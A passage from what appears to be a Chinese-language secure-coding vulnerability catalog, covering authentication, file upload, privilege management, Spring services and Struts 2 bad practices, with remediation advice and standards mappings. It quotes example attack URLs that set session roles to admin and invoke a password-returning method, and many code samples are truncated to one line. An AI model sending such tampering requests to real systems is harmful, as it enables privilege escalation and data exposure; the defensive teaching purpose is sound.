IP 地址相比 DNS 名称而言更为可靠,但也还是可以被欺骗的。攻击者可以轻易修改要发送的数据包的源 IP 地址,但是响应数据包会返回到修改后的 IP 地址。为了看到响应的数据包,攻击者需要在受害者机器与修改的 IP 地址之间截取网络数据流。为实现这个目的,攻击者通常会尝试把自己的机器和受害者的机器部署在同一子网内。攻击者可能会巧妙地采取源地址路由的方法来回避这一要求,但是在今天的互联网上通常会禁止源地址路由。总而言之,核实 IP 地址是一种有用的 authentication 方式,但不应仅使用这一种方法进行 authentication。
RECOMMENDATIONS
如果通过域名检查的方式可以确保主机接受和发送的 DNS 记录的一致性,您可以更加信任这一方式。攻击者如若不能控制目标域的域名服务器,就无法同时欺骗接受和发送的 DNS 记录。虽然这种方法并不简单,但是:攻击者也许可以说服域注册者把域移交给一个恶意的域名服务器。依赖于 DNS 记录的 authentication 是有风险的。
虽然没有十分简单的 authentication 机制,但是还有比基于主机的 authentication 更好的方法。密码系统提供了比较不错的安全性,但是这种安全性却易受密码选择不当、不安全的密码传送和 password management 失误的影响。类似于 SSL 的方法值得考虑,但是通常这样的方法过于复杂,以至于使用时会有运行出错的风险,而关键资源也随时面临着被窃取的危险。在大多数情况下,包括一个物理标记的多重 authentication 可以在合理的代价范围内提供最大程度的安全保障。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 247, CWE ID 292, CWE ID 558, CWE ID 807
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[6] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[15] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 807
[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 807
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3460 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3460 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3460 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3460 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3460 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3460 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3460 CAT I
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Often Misused: Boolean.getBoolean()
ABSTRACT
方法 Boolean.getBoolean() 常常与 Boolean.valueOf() 或 Boolean.parseBoolean() 方法调用混淆。
EXPLANATION
在多数情况下,由于是用 Boolean.getBoolean() 来返回指定字符串变量表示的布尔值,因而导致此方法的调用使用不当。但是,正如 Javadoc Boolean.getBoolean(String) 方法所说,“当且仅当该参数表示的系统属性存在且等于字符串 ‘true’ 时,才会返回 true。”
绝大多数情况下,开发人员真正希望使用的是调用 Boolean.valueOf(String) 或 Boolean.parseBoolean(String) 方法。 例 1:下列代码将不会按照期望的方式运行。它会输出“FALSE”,因为 Boolean.getBoolean(String) 不会对基元型字符串进行转换。它只能对系统属性进行转换。
1 | ... |
RECOMMENDATIONS
请确保要调用的方法是 Boolean.getBoolean(String),并且指定的字符串函数为系统属性。否则您希望使用的方法调用极有可能是 Boolean.valueOf(String) 或 Boolean.parseBoolean(String)。
REFERENCES
[1] Class Boolean Oracle
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
Often Misused: Encoding
EXPLANATION
我们很容易相信此编码方法可保护系统免受注入攻击,但是如果未在正确的上下文中准确使用此方法,则其提供的保护会远逊于宣称的效果。
例 1:下列编码方法调用使攻击者可以利用其插入恶意 JavaScript 的机会较小:
out.println("x = " + encoder.encodeForJavaScript(input) + ";");
RECOMMENDATIONS
避免通过重新编写代码来调用此方法,要使用能够提供更强安全保证的其他验证或编码方法。
例 2:此代码将仅输出为 x 分配的整数值。
out.println("x = " + validator.getValidInteger("int_in", input, 0, 1024, false) + ";");
REFERENCES
[1] OWASP ESAPI Secure Coding Guideline
[2] Standards Mapping - Common Weakness Enumeration CWE ID 176
Often Misused: File System
ABSTRACT
由参数 umask() 指定的掩码常常很容易与 chmod() 的参数混淆。
EXPLANATION
umask() man page 以错误的指令开始:
“umask sets the umask to mask & 0777”
尽管这种行为可以更好地遵从 chmod() 的用法,这种情况下,由用户提供的参数指定在特定文件上启用的位数,但事实上 umask() 的行为恰恰相反: umask() 将 umask 设为 ~mask & 0777。
umask() man page 接下来描述了 umask() 的正确使用方法:
“open() 使用 umask 为新建文件设置初始文件权限。 具体而言,它会关闭 umask 从 mode 参数传递到 open(2) 的权限(例如,umask 的通用默认值 022 会导致以权限 0666 & ~022 = 0644 = rw-r–r– 创建新文件,而在正常情况下,mode 应该为 0666)。”
RECOMMENDATIONS
为计算正确的 umask 值,用 666 减去该 umask(用于文件),或用 777 减去该 umask(用于目录)。
确保 umask 值以“0”开头,以表明指定的是八进制值。 否则,会将 umask 值解析为十进制值。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 249, CWE ID 560
[2] Standards Mapping - General Data Protection Regulation Access Violation
[3] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3590.1 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3590.1 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3590.1 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3590.1 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3590.1 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3590.1 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3590.1 CAT I
Often Misused: File Upload
ABSTRACT
允许用户上传文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。
EXPLANATION
无论编写程序所用的语言是什么,最具破坏性的攻击通常都会涉及执行远程代码,攻击者借此可在程序上下文中成功执行恶意代码。如果允许攻击者向某个可通过 Web 访问的目录上传文件,并能够将这些文件传递给代码解释器(如 JSP/ASPX/PHP),他们就能促使这些文件中包含的恶意代码在服务器上执行。
示例:以下 Spring MVC 控制器类包含可用于处理上传文件的参数。
1 | @Controller |
即使程序将上传的文件存储在一个无法通过 Web 访问的目录中,攻击者仍然有可能通过向服务器环境引入恶意内容来发动其他攻击。如果程序容易出现 path manipulation、command injection 或危险的 file inclusion 漏洞,那么攻击者就可能上传带恶意内容的文件,并利用另一种漏洞促使程序读取或执行该文件。
RECOMMENDATIONS
如果可以避免附件,请不要接受它们。如果程序必须接受附件,则应当只接受程序所需的特定类型的内容,从而阻止攻击者提供恶意内容。依赖于上传内容的攻击通常要求攻击者能够提供他们自行选择的内容。限制程序能够接受的内容,可以在最大程度上限制可能被攻击的范围。检查文件名、扩展名和文件内容,确保它们都是应用程序所需的,并可供应用程序使用。使攻击者难以确定上传文件的名称和位置。这种解决方法通常是因程序而异的,并且在以下几个方面各不相同:将上传的文件存储在一个目录中(目录名称是在程序初始化时通过强随机值生成的)、为每个上传的文件分配一个随机名称,以及利用数据库中的条目跟踪这些文件。
REFERENCES
[1] Alla Bezroutchko Secure file upload in PHP web applications
[2] Standards Mapping - Common Weakness Enumeration CWE ID 434
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 434
[17] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 434
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Often Misused: Privilege Management
ABSTRACT
没有遵守最低权限原则会增加引发其他漏洞的风险。
EXPLANATION
利用 root 权限运行的程序已经造成了无数的 Unix 安全灾难。 仔细检查您的程序授权是否会引发安全问题十分必要,同样重要的是,对那些授予了权限的程序,应及时撤销其权限并返回至未授权状态,将因忽略漏洞而引发的损害控制到最小。
Privilege management 函数有时会以一些不明显的方式运行,并且它们在不同的平台上面会有较大差异。 当您从一个非 root 用户切换到另外一个用户时,这种差异会尤其明显。
信号处理程序以及产生的进程会以其所拥有进程的权限运行,所以在某进程以 root 权限运行时,如果触发某一个信号或执行子进程,则信号处理程序或者子进程将会以 root 权限运行。 因此,攻击者有可能利用这些提高的权限来进行更严重的破坏。
RECOMMENDATIONS
如果程序经过重写后可不需要 root 访问权限,请进行重写。
请在提高权限之前禁用信号,以避免信号处理代码以意外的权限运行。 在将权限降回用户权限后,可重新启用信号。
请尽可能在完成需要特定权限的操作后,通过立即调用一个非零参数的 setuid() 来丢弃权限。
在某些情况下,应用程序可能无法调用 setuid()/setgid() 来丢弃权限。 尤其当应用程序需要不断地以 root 身份代表用户来执行某些操作时,会发生这种情况。 比如,一个 FTP 进程需要绑定到 1 至 1024 之间的端口以便于为用户请求服务。 在此类情况下,应该使用 seteuid() 和 getegid() 来暂时降低到一个较低权限等级,并且保留在需要时返回为 root 权限的能力。 请注意,这同样会使攻击者很容易地将应用程序退回到 root 权限,所以当无法完全丢弃权限的时候,应该只使用 seteuid()/getegid()。
REFERENCES
[1] H. Chen, D. Wagner, and D. Dean. Setuid Demystified. 11th USENIX Security Symposium
[2] Standards Mapping - Common Weakness Enumeration CWE ID 250
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381, CCI-002233, CCI-002235
[4] Standards Mapping - General Data Protection Regulation Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.2.1 Authentication Architectural Requirements, 10.2.2 Malicious Code Search
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 250
[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 250
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[34] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[35] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Often Misused: Spring Remote Service
ABSTRACT
远程服务在 Spring 应用程序中配置。默认情况下,这些远程服务不要求身份验证,也不要求进出该服务器的信息必须是明文形式。这就使攻击者有机会访问需要特定权限的操作或者获取敏感数据。
EXPLANATION
Spring 提供了一种简单的机制,可用于将任何 Spring 托管的 bean 转换为可通过 RMI、HTTP、Burlap、Hessian 和 JMX 等协议暴露给外部的对象。远程 Spring bean 的任何公共方法都支持外部调用,而且客户端与远程对象之间传递的数据都是明文形式。这些服务存在的主要问题是,它们在默认情况下是开放的,而且本身不提供任何保密性或完整性保证。
RECOMMENDATIONS
利用 Spring Security 和 SSL 提供 authentication、授权、保密性和完整性。
REFERENCES
[1] Anirvan Chakraborty , Jessica Ditt , Aleksa Vukotic , Jan Machacek ProSpring 2.5
[2] Gary Mak , Daniel Rubio , Josh Long Spring Recipes
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 6.5.10
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4, Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.4, Requirement 6.5.8
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4, Requirement 6.5.8
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4, Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4, Requirement 6.5.8
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3260 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Often Misused: Spring Web Service
ABSTRACT
Web 服务在 Spring 应用程序中配置。默认情况下,这些 Web 服务不要求身份验证,也不要求进出该服务器的信息必须是明文形式。这就使攻击者有机会访问需要特定权限的操作或者获取敏感数据。
EXPLANATION
Spring 提供了一种简单的机制,可用于将任何 Spring 托管的 bean 转换为通过 Spring WS 或 XFire 提供的 web 服务。远程 Spring bean 的任何公共方法都支持外部调用,而且客户端与承载 Web 服务的对象之间传递的数据都是明文形式。这些服务存在的主要问题是,它们在默认情况下是开放的,而且本身不提供任何保密性或完整性保证。
RECOMMENDATIONS
利用 Spring Security 和 SSL 提供 authentication、授权、保密性和完整性。
REFERENCES
[1] Anirvan Chakraborty , Jessica Ditt , Aleksa Vukotic , Jan Machacek ProSpring 2.5
[2] Gary Mak , Daniel Rubio , Josh Long Spring Recipes
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 6.5.10
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4, Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.4, Requirement 6.5.8
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4, Requirement 6.5.8
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4, Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4, Requirement 6.5.8
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3260 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II, APSC-DV-002360 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Password Management: Weak Redundancy
ABSTRACT
应输入两次密码,而不是复制密码。
EXPLANATION
对于此 API,不应使用复制密码的方法。此 API 的目的在于确保用户不会输错密码。复制密码操作违反此安全机制。
例 1:
String password=request.getParameter(“password”);
…
DefaultUser user = (DefaultUser) ESAPI.authenticator().createUser(username, password, password);
RECOMMENDATIONS
用户应输入两次密码。
例 2:
String password_first=request.getParameter(“password_first_time”);
String password_second=request.getParameter(“password_second_time”);
…
DefaultUser user = (DefaultUser) ESAPI.authenticator().createUser(username, password_first, password_second);
REFERENCES
[1] OWASP ESAPI Secure Coding API: User
[2] Standards Mapping - Common Weakness Enumeration CWE ID 521
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
Poor Style: Explicit Call to finalize()
ABSTRACT
方法 finalize() 只能在对象回收后才能由 JVM 进行调用。
EXPLANATION
尽管 Java 语言规范中允许外部终结器调用对象的 finalize() 方法,但这其实并不是一个好办法。例如,直接调用 finalize() 意味着要不止一次地调用 finalize() 方法:第一次将会直接调用,而最后一次调用会在对象回收之后执行。
例 1:以下代码片段直接调用 finalize() 方法:
1 | // time to clean up |
RECOMMENDATIONS
如果某个对象的资源需要在对象回收前清除,则可以把所需清除资源的代码分开,写在独立的函数里。而不要直接调用 finalize()。
例 2: 例 1 中的代码应该用以下方式重写:
1 | // time to clean up |
REFERENCES
[1] MET12-J. Do not use finalizers CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 586
Struts 2 Bad Practices: Application Map Tampering
ABSTRACT
Struts 2.x Action 实施类,使攻击者有机会通过将任意数据绑定到会话、应用程序或请求服务器端对象,修改应用程序的业务逻辑。
EXPLANATION
Apache Struts 2.x 包含新的 Aware 接口,允许开发人员使用相关运行时信息,轻松将映射注入到其 Actions 代码中。这些接口包括:org.apache.struts2.interceptor.ApplicationtAware、org.apache.struts2.interceptor.SessionAware 和 org.apache.struts2.interceptor.RequestAware。为了将这些数据映射中的任意内容注入到其 Actions 代码中,开发人员需要实现接口中指定的 setter(例如:setSession,适用于 SessionAware 接口):
1 | public class VulnerableAction extends ActionSupport implements SessionAware { |
另一方面,Struts 2.x 会自动通过 Action 中定义的 public accessors 将来自用户的请求数据绑定到 Action 的属性。由于 Aware 接口要求实现 Aware 接口中定义的 public setter,因此这一 setter 也将自动绑定到与 Aware 接口 setter 名称相匹配的任意请求参数,这可允许远程攻击者通过伪造的参数修改应用程序的运行时数据值,使其实现的接口受到影响,如 SessionAware、RequestAware、ApplicationAware 接口所示。
下面的 URL 将允许攻击者重写会话映射中的“roles”属性,这可能会使他成为管理员。
http://server/VulnerableAction?session.roles=admin
当这些接口仅要求实现 setter accessors 时,如果同时也实现相应的 getter,则对这些映射集合的更改将在会话范围内持续,而不是仅影响当前的请求范围。
RECOMMENDATIONS
Apache Struts 2.3.1.1 及较早版本易于受到此运行时数据操纵的攻击,因此应将框架库升级到最新的稳定版。 如果不可能,则受影响的接口也应实现 com.opensymphony.xwork2.interceptor.ParameterNameAware 接口,以排除危险的参数名称。
1 | public boolean acceptableParameterName(String parameterName) { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 20
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[4] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[5] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[6] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[7] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
Struts 2 Bad Practices: Dynamic Method Invocation
ABSTRACT
Struts 2 Action 暴露了可由最终用户调用的公共方法,从而覆盖 Action 的 execute() 方法。
EXPLANATION
Struts 2 引入了一种称为“动态方法调用”的功能,该功能允许 Action 暴露方法而非 execute()。“!”(感叹号)字符可以在 Action URL 中使用,以调用“动态方法调用”Action 中的任何公共方法。没有意识到此功能的开发者可能会无意中将内部业务逻辑暴露给攻击者。
例如,如果 Action 包含一种称为 getUserPassword() 的公共方法,该方法没有采用参数且未禁用“动态方法调用”功能,则攻击者可以利用这点访问以下 URL: http://server/app/recoverpassword!getPassword.action
RECOMMENDATIONS
Struts 2.3.1.1 之后,引入了一种新的配置属性禁用“动态方法调用”功能。为了禁用此功能,请使用“struts.enable.DynamicMethodInvocation”属性作为 Struts 2 属性设置:
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
或在 struts.properties 中:
struts.enable.DynamicMethodInvocation = false
或在 web.xml 的 Struts 2 过滤器中包含此参数节点:
1 | <init-param> |
REFERENCES
[1] Struts 2 Security Vulnerability - Dynamic Method Invocation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 285
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
